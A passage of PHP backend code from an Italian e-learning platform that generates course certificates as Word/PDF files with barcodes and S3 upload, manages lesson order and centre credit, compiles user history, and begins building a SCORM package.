			$dat = explode("-",$da[0]);
			$data = $dat[2]."/".$dat[1]."/".$dat[0]." ".$da[1];
			$a['data'] = $data;
			$a['azione'] = $azioni[$i]['message'];
			$act[] = $a;
		}
		
		
		//imposto il link di verifica
		$link_verifica_certificato = $_SERVER['HTTP_HOST']."/authentication/verifica-certificati/r/".$codice_certificato;

		//imposto il nome del file
		$documento = $path_word."document.xml";
		$documento_tmp = $path_tmp."document.xml";
		//recupero il contenuto del file
		$doc = file_get_contents($documento);
		if(!$doc){
			return $this->printMessage( $this->responseMessage("Errore nella generazione del certificato, template non caricato!", false) );
		}	

		//sostituisco i dati nel certificato
		$doc = str_replace("{{nome}}", $nome, $doc);
		$doc = str_replace("{{cognome}}", $cognome, $doc);
		$doc = str_replace("{{data_nascita}}", $data_nascita, $doc);
		$doc = str_replace("{{codice_fiscale}}", $codice_fiscale, $doc);
		$doc = str_replace("{{nome_corso}}", $nome_corso, $doc);
		$doc = str_replace("{{id_edizione}}", $id_edizione, $doc);
		$doc = str_replace("{{data_inizio_edizione}}", $data_inizio_edizione, $doc);
		$doc = str_replace("{{data_fine_edizione}}", $data_fine_edizione, $doc);
		$doc = str_replace("{{numero_moduli}}", $numero_moduli, $doc);
		$doc = str_replace("{{tempo}}", $tempo, $doc);
		$doc = str_replace("{{CODICE}}", $codice_certificato, $doc);
		
		//sostituisco i dati nel certificato multi riga
		$righe_modulo="";
		$riga_tipo_1_da_sostituire = '<w:p w:rsidR="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:pStyle w:val="Paragrafoelenco"/><w:numPr><w:ilvl w:val="0"/><w:numId w:val="1"/></w:numPr><w:rPr><w:b/><w:bCs/></w:rPr></w:pPr><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>{{titolo}}</w:t></w:r></w:p><w:p w:rsidR="00EC1FDE" w:rsidRPr="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:ind w:firstLine="708"/><w:rPr><w:b/><w:bCs/></w:rPr></w:pPr><w:r><w:t xml:space="preserve">Durata: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t xml:space="preserve">{{durata}}  </w:t></w:r></w:p><w:p w:rsidR="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:ind w:firstLine="708"/><w:rPr><w:b/><w:bCs/></w:rPr></w:pPr><w:r><w:t xml:space="preserve">Modulo Completato: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>{{time_check}}</w:t></w:r></w:p><w:p w:rsidR="00504591" w:rsidRDefault="00504591" w:rsidP="00504591"><w:pPr><w:ind w:firstLine="708"/><w:rPr><w:b/><w:bCs/></w:rPr></w:pPr><w:r><w:t>Durata</w:t></w:r><w:r><w:t xml:space="preserve"> Quiz</w:t></w:r><w:r><w:t xml:space="preserve">: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>{{durata}}  </w:t></w:r></w:p><w:p w:rsidR="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:ind w:firstLine="708"/><w:rPr><w:b/><w:bCs/></w:rPr></w:pPr><w:r><w:t xml:space="preserve">Quiz Completato: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>{{quiz_check}} </w:t></w:r></w:p><w:p w:rsidR="00EC1FDE" w:rsidRPr="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:ind w:firstLine="708"/></w:pPr><w:r><w:t xml:space="preserve">Risposte Quiz: </w:t></w:r><w:r w:rsidRPr="00CB56FC"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>{{risposte_quiz}}</w:t></w:r></w:p><w:p w:rsidR="00EC1FDE" w:rsidRPr="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"/><w:p w:rsidR="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:pStyle w:val="Paragrafoelenco"/><w:numPr><w:ilvl w:val="0"/><w:numId w:val="1"/></w:numPr><w:rPr><w:b/><w:bCs/></w:rPr></w:pPr><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>{{titolo}}</w:t></w:r></w:p><w:p w:rsidR="00EC1FDE" w:rsidRPr="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:ind w:firstLine="708"/><w:rPr><w:b/><w:bCs/></w:rPr></w:pPr><w:r><w:t xml:space="preserve">Durata: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t xml:space="preserve">{{durata}}  </w:t></w:r></w:p><w:p w:rsidR="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:ind w:firstLine="708"/><w:rPr><w:b/><w:bCs/></w:rPr></w:pPr><w:r><w:t xml:space="preserve">Modulo Completato: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>{{time_check}}</w:t></w:r></w:p><w:p w:rsidR="00504591" w:rsidRDefault="00504591" w:rsidP="00504591"><w:pPr><w:ind w:firstLine="708"/><w:rPr><w:b/><w:bCs/></w:rPr></w:pPr><w:r><w:t xml:space="preserve">Durata Quiz: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>{{durata</w:t></w:r><w:r><w:rPr><w:b/><w:bCs/></w:rPr><w:t>_quiz</w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t xml:space="preserve">}}  </w:t></w:r></w:p><w:p w:rsidR="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:ind w:firstLine="708"/><w:rPr><w:b/><w:bCs/></w:rPr></w:pPr><w:r><w:t xml:space="preserve">Quiz Completato: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>{{quiz_check}} </w:t></w:r></w:p><w:p w:rsidR="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:ind w:firstLine="708"/></w:pPr><w:r><w:t xml:space="preserve">Risposte Quiz: </w:t></w:r><w:r w:rsidRPr="00CB56FC"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>{{risposte_quiz}}</w:t></w:r></w:p>';
		for ($i=0; $i < count($moduli); $i++) { 
			$righe_modulo.= '<w:p w:rsidR="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:pStyle w:val="Paragrafoelenco"/><w:numPr><w:ilvl w:val="0"/><w:numId w:val="1"/></w:numPr><w:rPr><w:b/><w:bCs/></w:rPr></w:pPr><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>'.$moduli[$i]['titolo'].'</w:t></w:r></w:p><w:p w:rsidR="00EC1FDE" w:rsidRPr="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:ind w:firstLine="708"/><w:rPr><w:b/><w:bCs/></w:rPr></w:pPr><w:r><w:t xml:space="preserve">Durata: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t xml:space="preserve">'.$moduli[$i]['durata'].'  </w:t></w:r></w:p><w:p w:rsidR="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:ind w:firstLine="708"/><w:rPr><w:b/><w:bCs/></w:rPr></w:pPr><w:r><w:t xml:space="preserve">Modulo Completato: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>'.$moduli[$i]['time_check'].'</w:t></w:r></w:p><w:p w:rsidR="00504591" w:rsidRDefault="00504591" w:rsidP="00504591"><w:pPr><w:ind w:firstLine="708"/><w:rPr><w:b/><w:bCs/></w:rPr></w:pPr><w:r><w:t>Durata</w:t></w:r><w:r><w:t xml:space="preserve"> Quiz</w:t></w:r><w:r><w:t xml:space="preserve">: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>'.$moduli[$i]['durata_quiz'].'  </w:t></w:r></w:p><w:p w:rsidR="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:ind w:firstLine="708"/><w:rPr><w:b/><w:bCs/></w:rPr></w:pPr><w:r><w:t xml:space="preserve">Quiz Completato: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>'.$moduli[$i]['quiz_check'].' </w:t></w:r></w:p><w:p w:rsidR="00EC1FDE" w:rsidRPr="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:ind w:firstLine="708"/></w:pPr><w:r><w:t xml:space="preserve">Risposte Quiz: </w:t></w:r><w:r w:rsidRPr="00CB56FC"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>'.$moduli[$i]['risposte_quiz'].'</w:t></w:r></w:p>';
		}
		$doc = str_replace($riga_tipo_1_da_sostituire, $righe_modulo, $doc);

		//sostituisco i dati nel certificato multi riga
		$righe_modulo="";
		$riga_tipo_2_da_sostituire = '<w:p w:rsidR="00EC1FDE" w:rsidRPr="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:pStyle w:val="Paragrafoelenco"/><w:numPr><w:ilvl w:val="0"/><w:numId w:val="2"/></w:numPr></w:pPr><w:r><w:t xml:space="preserve">Data: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>{{data_login}}</w:t></w:r><w:r><w:t xml:space="preserve"> - IP: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>{{ip_login}}</w:t></w:r><w:r><w:rPr><w:b/><w:bCs/></w:rPr><w:t xml:space="preserve"> – </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:t>User Agent:</w:t></w:r><w:r><w:rPr><w:b/><w:bCs/></w:rPr><w:t xml:space="preserve"> {{user_agent_login}}</w:t></w:r></w:p><w:p w:rsidR="00EC1FDE" w:rsidRPr="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:pStyle w:val="Paragrafoelenco"/><w:numPr><w:ilvl w:val="0"/><w:numId w:val="2"/></w:numPr></w:pPr><w:r><w:t xml:space="preserve">Data: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>{{data_login}}</w:t></w:r><w:r><w:t xml:space="preserve"> - IP: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>{{ip_login}}</w:t></w:r><w:r><w:rPr><w:b/><w:bCs/></w:rPr><w:t xml:space="preserve"> – </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:t>User Agent:</w:t></w:r><w:r><w:rPr><w:b/><w:bCs/></w:rPr><w:t xml:space="preserve"> {{user_agent_login}}</w:t></w:r></w:p>';
		for ($i=0; $i < count($login); $i++) { 
			$righe_modulo.= '<w:p w:rsidR="00EC1FDE" w:rsidRPr="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:pStyle w:val="Paragrafoelenco"/><w:numPr><w:ilvl w:val="0"/><w:numId w:val="2"/></w:numPr></w:pPr><w:r><w:t xml:space="preserve">Data: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>'. $login[$i]['data_login'].'</w:t></w:r><w:r><w:t xml:space="preserve"> - IP: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>'.$login[$i]['ip_login'].'</w:t></w:r><w:r><w:rPr><w:b/><w:bCs/></w:rPr><w:t xml:space="preserve"> – </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:t>User Agent:</w:t></w:r><w:r><w:rPr><w:b/><w:bCs/></w:rPr><w:t xml:space="preserve"> '.$login[$i]['user_agent_login'].'</w:t></w:r></w:p>';
		}
		$doc = str_replace($riga_tipo_2_da_sostituire, $righe_modulo, $doc);

		//sostituisco i dati nel certificato multi riga
		$righe_modulo="";
		$riga_tipo_3_da_sostituire = '<w:p w:rsidR="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:pStyle w:val="Paragrafoelenco"/><w:numPr><w:ilvl w:val="0"/><w:numId w:val="3"/></w:numPr></w:pPr><w:r w:rsidRPr="00EC1FDE"><w:t xml:space="preserve">Data: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>{{data}}</w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:t xml:space="preserve"> - </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:t>Azione</w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:t>:</w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t xml:space="preserve"> {{azione}}</w:t></w:r></w:p><w:p w:rsidR="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:pStyle w:val="Paragrafoelenco"/><w:numPr><w:ilvl w:val="0"/><w:numId w:val="3"/></w:numPr></w:pPr><w:r w:rsidRPr="00EC1FDE"><w:t xml:space="preserve">Data: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>{{data}}</w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:t xml:space="preserve"> - Azione:</w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t xml:space="preserve"> {{azione}}</w:t></w:r></w:p>';
		for ($i=0; $i < count($act); $i++) { 
			$righe_modulo.= '<w:p w:rsidR="00EC1FDE" w:rsidRDefault="00EC1FDE" w:rsidP="00EC1FDE"><w:pPr><w:pStyle w:val="Paragrafoelenco"/><w:numPr><w:ilvl w:val="0"/><w:numId w:val="3"/></w:numPr></w:pPr><w:r w:rsidRPr="00EC1FDE"><w:t xml:space="preserve">Data: </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t>'.$act[$i]['data'].'</w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:t xml:space="preserve"> - </w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:t>Azione</w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:t>:</w:t></w:r><w:r w:rsidRPr="00EC1FDE"><w:rPr><w:b/><w:bCs/></w:rPr><w:t xml:space="preserve"> '.$act[$i]['azione'].'</w:t></w:r></w:p>';
		}
		$doc = str_replace($riga_tipo_3_da_sostituire, $righe_modulo, $doc);

		//genero codice qr
		//  $pathQrCode = $path."app/resources/phpqrcode/qrlib.php";
		// require_once($pathQrCode);
		//genero il codice a barre
		if(!unlink($url_tmp_qr_code_image)){
			return $this->printMessage($this->responseMessage("Errore nella generazione del report, errore nella rimozione del codice a barre, segnalare il problema all'amministratore!", false));
		}
		// $generator = new Picqer\Barcode\BarcodeGeneratorPNG();
		// QRcode::png($link_verifica_certificato, $url_tmp_qr_code_image, "H", "300", "2");
		// $generator->getBarcode($row['barcode'], $row['code_type']);
		// $barcode = (new Picqer\Barcode\Types\TypeCode128())->getBarcode($codice_certificato);
		// $renderer = new Picqer\Barcode\Renderers\PngRenderer();

		if (!is_writable($path_tmp."media")) {
			// Error if the file exists and isn't writable.
			return $this->printMessage($this->responseMessage("Errore nella generazione del report, cartella non scrivivile, segnalare il problema all'amministratore!", false));

		}

		$generator = new Picqer\Barcode\BarcodeGeneratorPNG();
		$color_barcode = [255, 255, 255];
		$bc_image = $generator->getBarcode($codice_certificato, $generator::TYPE_CODE_128);//, 3, 50, $color_barcode);
		$fp = fopen($url_tmp_qr_code_image,'x');
		fwrite($fp, $bc_image);
		fclose($fp);
		// $ck_w_bc = file_put_contents($url_tmp_qr_code_image, $bc_image);
		// if(!$ck_w_bc){
		// 	return $this->printMessage($this->responseMessage("Errore nella generazione del report, errore nella scrittura del codice a barre, segnalare il problema all'amministratore!", false));
		// }
		chown($url_tmp_qr_code_image, "ec2-user");
		chmod($url_tmp_qr_code_image, 0775);
		
		$image = file_get_contents($url_tmp_qr_code_image);
		if (empty($image)) {
			return $this->printMessage($this->responseMessage("Errore nella generazione del report, errore nella generazione del codice a barre, segnalare il problema all'amministratore!", false));
			exit;
		}
		//rimuovo old
		unlink($documento_tmp);

		//aggiungo a certificato tmp
		file_put_contents($documento_tmp, $doc);
		chown($documento_tmp, "ec2-user");
		chmod($documento_tmp, 0775);

		
		//zip
		// Enter the name of directory 
		$pathdir = $path."generator_pdf/tmp_it-pass-report-corso/";  
			
		// Enter the name to creating zipped directory 
		$zipcreated = $path."generator_pdf/".$nome_file_certificato.".zip"; 
		$wordrename = $path."generator_pdf/".$nome_file_certificato.".docx"; 
		$pdfrename = $path."generator_pdf/".$nome_file_certificato.".pdf"; 


			
		if(!parent::zippami($pathdir, $zipcreated)){
			return $this->printMessage($this->responseMessage("Errore nella generazione del certificato zip, si prega di riprovare!", false));
		}
		
		rename($zipcreated, $wordrename);

		chown($wordrename, "ec2-user");
		chmod($wordrename, 0775);

		unlink($nome_file_certificato.".zip");
		//genera pdf
		include SITEROOT_DIR.'/app/helpers/converterPdf.php';

		$converter = new OfficeConverter($wordrename, null, $path."generator_pdf/libreoffice/program/soffice.bin");
		$converter->convertTo($pdfrename); //generates pdf file in same directory as test-file.docx
		//	$converter->convertTo('output-file.html'); //generates html file in same directory as test-file.docx

			//to specify output directory, specify it as the second argument to the constructor
		//	$converter = new OfficeConverter($wordrename, $pathdir);

		chown($pdfrename, "ec2-user");
		chmod($pdfrename, 0775);

		if(!$converter){
			echo "Errore in conversione"; die;
		}		
		unlink($wordrename);

		//upload s3
		$url = $this->putFileS3Private("report",$_id_iscrizione, $pdfrename);	
		
		if($url){
			$_url_save = end(explode("/",$url));
			$url_save = explode("?",$_url_save)[0];
			
			unlink($pdfrename);
			$this->getFile("report",$_id_iscrizione,$url_save);
		
		}else{
			return $this->printMessage($this->responseMessage("Errore nella generazione del report, si prega di riprovare!", false));
		}		
		// $type = pathinfo($pdfrename, PATHINFO_EXTENSION);
		// $data = file_get_contents($pdfrename);
		// $base64 = 'data:image/' . $type . ';base64,' . base64_encode($data);
		// unlink($pdfrename);
		// return $this->printMessage($this->responseMessage($base64, true));

		// }else{
		// 	return $this->printMessage($this->responseMessage("Errore nella generazione del certificato, si prega di riprovare!", false));
		// }	
	
	}
	
	function updatePosizioniLezioni($_posizioni){
		$this->db->beginTransaction();
		$posizioni = json_decode($_posizioni, true);
		$toRet = array();
		foreach ($posizioni as $key => $value) {
			$id_lezione = $this->db->quoteInt($value['id_lezione']);
			$posizione = $this->db->quoteInt($value['posizione']);
			$query = "UPDATE corso_lezione SET ordine = $posizione WHERE id_lezione = $id_lezione";
			$a = $this->db->SafeExec($query);
			if (!$a) {
				$this->db->rollback();
				return $this->printMessage( $this->responseMessage("Non è stato possibile aggiornare le posizioni!", false) );
			}
		}
		$com = $this->db->commit();
		if (!$com) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile aggiornare le posizioni!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Posizioni aggiornate!", true) );	
		}
	}

	function ricaricaCredito($_credito, $_id_user, $_user_type_id){
		$user_type_id = $this->db->quoteInt($_user_type_id);
		$id_centro =  $this->db->quoteInt($_id_user);
		$credito =  $this->db->quoteDecimal(floatval($_credito));
		$descrizione =  $this->db->quoteText("Ricarica inserita dall'amministratore");
		if ($user_type_id == 2 || $user_type_id == "2") {
			$table = "centri_ordini_standard";
		}else{
			$table = "centri_ordini";
		}
		$query = "INSERT INTO $table (id_user, descrizione, prezzo, completed) VALUES($id_centro, $descrizione, $credito, 1);";
		if ($this->db->SafeInsert($query)){
			return $this->printMessage( $this->responseMessage("Ricarica effettuata con successo!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Non è stato possibile effettuare la ricarica, contatta la segreteria!".$query, false) );
		}
	}


	function old_generaStoricoUser($_id_user){
		$id_user = $this->db->quoteInt($_id_user);
		$toRet = array();

		$query = "SELECT * FROM user LEFT JOIN studenti_user_info ON user.id_user = studenti_user_info.id_user WHERE user.id_user = $id_user";
		$profilo = $this->db->SafeFetchOne($query);
		$toRet['profilo'] = $profilo;

		$query = "SELECT * FROM controllo_login WHERE controllo_login.iduser = $id_user ORDER BY timestamp DESC";
		$controllo_login = $this->db->SafeFetch($query);
		$toRet['controllo_login'] = $controllo_login;

		$query = "SELECT * FROM user_log WHERE id_user = $id_user ORDER BY data ASC";
		$ws = $this->db->SafeFetch($query);
		$toRet['ws'] = $ws;
		$toRet['tempo'] = $this->calcolaTempoSuPiattaforma($ws);

		$query = "SELECT * FROM iscrizioni_studenti_corsi LEFT JOIN corso ON iscrizioni_studenti_corsi.id_corso = corso.id_corso WHERE iscrizioni_studenti_corsi.id_user = $id_user";
		$corsi = $this->db->SafeFetch($query);
		

		$query = "SELECT * FROM iscrizioni_studenti_esami LEFT JOIN corso_esame ON iscrizioni_studenti_esami.id_esame = corso_esame.id_esame WHERE iscrizioni_studenti_esami.id_user = $id_user";
		$esami = $this->db->SafeFetch($query);
		

		for ($i=0; $i < count($esami); $i++) { 
			$id_esame = $esami[$i]['id_esame'];
			$esami[$i]['avanzamento_esame'] = array();
			$query = "SELECT * FROM corso_esame_studente WHERE id_user = $id_user AND id_esame = $id_esame";
			$esami[$i]['avanzamento_esame']= $this->db->SafeFetch($query);
			
			$id_iscrizione = $esami[$i]['id_iscrizione'];
			if($id_iscrizione){
			$esami[$i]['avanzamento_esame']['moduli'] = array();
			$query = "SELECT * FROM corso_esame_modulo_studente WHERE id_user = $id_user AND id_iscrizione = $id_iscrizione";
			$esami[$i]['avanzamento_esame']['moduli']= $this->db->SafeFetch($query);
			}

			$id_sessione = $esami[$i]['id_sessione'];
			if($id_sessione){
				$esami[$i]['avanzamento_esame']['sessione'] = array();
				$query = "SELECT * FROM sessione WHERE id_sessione = $id_sessione";
				$esami[$i]['avanzamento_esame']['sessione']= $this->db->SafeFetch($query);
			}
		
		}
		$toRet['esami'] = $esami;

		//per i corsi con edizione aggiungo l'edizioni come chiave dell'array dei corsi
		for ($i=0; $i < count($corsi); $i++) { 
			if($corsi[$i]['id_edizione']){
				$corsi[$i]['edizioni'] = array();
				$query = "SELECT * FROM corso_edizione WHERE id_edizione = ".$corsi[$i]['id_edizione'];
				$edizioni = $this->db->SafeFetchOne($query);
				$corsi[$i]['edizioni'] = $edizioni;
			}	
		}


		for ($i=0; $i < count($corsi); $i++) { 
			
				$id_corso = $corsi[$i]['id_corso'];
				$corsi[$i]['lezioni'] = array();
				$query = "SELECT cl.id_lezione, cl.id_corso, cl.titolo, cl.subject, cl.testo, cl.files, cl.video, cl.image, cl.quiz, cl.time, cl.video_url, cl.image_url, cl.quiz_on, cl.quiz_time, cl.disabilita_navigazione, cl.scorrimento_automatico_slide, cl.timer_come_video, cl.timer_slide, cl.video_len, (SELECT JSON_ARRAYAGG( JSON_OBJECT('id_domanda', cld.id_domanda,'domanda', cld.domanda,'attiva', cld.attiva,'risposte',(SELECT JSON_ARRAYAGG(JSON_OBJECT('id_risposta', clr.id_risposta,'risposta', clr.risposta,'corretta', clr.corretta)) FROM corso_lezione_risposta AS clr WHERE clr.id_domanda = cld.id_domanda ))) FROM corso_lezione_domanda AS cld WHERE cld.id_lezione = cl.id_lezione) AS paniere FROM corso_lezione AS cl WHERE cl.id_corso = $id_corso";
				$corsi[$i]['lezioni']= $this->db->SafeFetch($query);	
				$corsi[$i]['esame'] = array();
				
				// $query = "SELECT cl.id_esame, cl.id_corso, cl.titolo, cl.subject, cl.testo, cl.files, cl.video, cl.image, cl.quiz, cl.time, cl.video_url, cl.image_url, cl.quiz_on, cl.rating, cl.numero_domande, (SELECT JSON_ARRAYAGG( JSON_OBJECT('id_domanda', cld.id_domanda,'domanda', cld.domanda,'attiva', cld.attiva,'risposte',(SELECT JSON_ARRAYAGG(JSON_OBJECT('id_risposta', clr.id_risposta,'risposta', clr.risposta,'corretta', clr.corretta)) FROM corso_esame_risposta AS clr WHERE clr.id_domanda = cld.id_domanda ))) FROM corso_esame_domanda AS cld WHERE cld.id_esame = cl.id_esame) AS paniere FROM corso_esame AS cl WHERE cl.id_corso = $id_corso";
				// $corsi[$i]['esame']= $this->db->SafeFetch($query);
				
				$corsi[$i]['avanzamento_lezioni'] = array();
				$query = "SELECT * FROM corso_lezione_studente WHERE id_user = $id_user AND id_corso = $id_corso";
				$corsi[$i]['avanzamento_lezioni']= $this->db->SafeFetch($query);	
			
		}
		$toRet['corsi'] = $corsi;
		return $this->printMessage( $this->responseMessage($toRet, true) );
	}

	function generaSCORMfromCorso($id_corso){
		$id_corso = $this->db->quoteInt($id_corso);
		$query = "SELECT * FROM corso WHERE id_corso = $id_corso";
		$corso = $this->db->SafeFetchOne($query);
		if(!$corso){
			return $this->printMessage( $this->responseMessage("Corso non trovato!", false) );
		}

		//1. creo file imsmanifest.xml (file obbligatorio con metadati e struttura del corso).
		$xml = '<?xml version="1.0" encoding="UTF-8"?>';
		$xml .= '<manifest identifier="com.saperesrl.'.$corso['id_corso'].'" version="1.2" xmlns="http://www.imsglobal.org/xsd/imscp" xmlns:adlcp="http://www.adlnet.org/xsd/adlcp" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">';
		$xml .= '<metadata>';
		$xml .= '<schema xmlns="http://www.imsglobal.org/xsd/imscp">ADL SCORM</schema>';
		$xml .= '<schemaversion xmlns="http://www.imsglobal.org/xsd/imscp">1.2</schemaversion>';
		$xml .= '<adlcp:location xmlns:adlcp="http://www.adlnet.org/xsd/adlcp">index.html</adlcp:location>';
		$xml .= '<adlcp:scormType xmlns:adlcp="http://www.adlnet.org/xsd/adlcp">1.2</adlcp:scormType>';
		$xml .= '<adlcp:version xmlns:adlcp="http://www.adlnet.org/xsd/adlcp">1.2</adlcp:version>';
		$xml .= '<adlcp:courseId xmlns:adlcp="http://www.adlnet.org/xsd/adlcp">com.saperesrl.'.$corso['id_corso'].'</adlcp:courseId>';
		$xml .= '<adlcp:courseTitle xmlns:adlcp="http://www.adlnet.org/xsd/adlcp">'.$corso['titolo'].'</adlcp:courseTitle>';
		$xml .= '<adlcp:courseDescription xmlns:adlcp="http://www.adlnet.org/xsd/adlcp">'.$corso['descrizione'].'</adlcp:courseDescription>';
		$xml .= '<adlcp:courseDuration xmlns:adlcp="http://www.adlnet.org/xsd/adlcp">'.$corso['durata'].'</adlcp:courseDuration>';
		$xml .= '</metadata>';
		$xml .= '<organizations default="A">';
		$xml .= '<organization identifier="A">';
		$xml .= '<title>'.$corso['titolo'].'</title>';
		$xml .= '<item identifier="ITEM-1" identifierref="RES-1">';
		$xml .= '<title>'.$corso['titolo'].'</title>';
		$xml .= '</item>';
		$xml .= '</organization>';
		$xml .= '</organizations>';
		$xml .= '<resources>';
		$xml .= '<resource identifier="RES-1" type="webcontent" adlcp:scormType="sco" href="index.html">';
		$xml .= '<file href="index.html"/>';
		$xml .= '</resource>';
		$xml .= '</resources>';
		$xml .= '</manifest>';
		$path = $_SERVER['DOCUMENT_ROOT']."/imsmanifest.xml";
		$fp = fopen($path, 'w');
		if($fp){
			fwrite($fp, $xml);
			fclose($fp);
		}else{
			return $this->printMessage( $this->responseMessage("Errore nella creazione del file imsmanifest.xml", false) );
		}
		//2. creo file index.html (file obbligatorio per la visualizzazione del corso).
		$index = '<!DOCTYPE html>';
		$index .= '<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">';
		$index .= '<head>';
		$index .= '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>';
		$index .= '<meta name="viewport" content="width=device-width, initial-scale=1.0"/>';
		$index .= '<title>'.$corso['titolo'].'</title>';
		// $index .= '<link rel="stylesheet" type="text/css" href="style.css"/>';
		// $index .= '<script type="text/javascript" src="scorm.js"></script>';
		// $index .= '<script type="text/javascript" src="jquery.min.js"></script>';
		// $index .= '<script type="text/javascript" src="jquery-ui.min.js"></script>';
		// $index .= '<script type="text/javascript" src="jquery-ui.css"></script>';
		// $index .= '<script type="text/javascript" src="jquery-ui.theme.css"></script>';
		// $index .= '<script type="text/javascript" src="jquery-ui.structure.css"></script>';
		// $index .= '<script type="text/javascript" src="jquery.scorm.js"></script>';
		// $index .= '<script type="text/javascript" src="jquery.scorm.min.js"></script>';
		// $index .= '<script type="text/javascript" src="jquery.scorm.api.js"></script>';
		// $index .= '<script type="text/javascript" src="jquery.scorm.api.min.js"></script>';
		// $index .= '<script type="text/javascript" src="jquery.scorm.api.imsmanifest.js"></script>';
		// $index .= '<script type="text/javascript" src="jquery.scorm.api.imsmanifest.min.js"></script>';
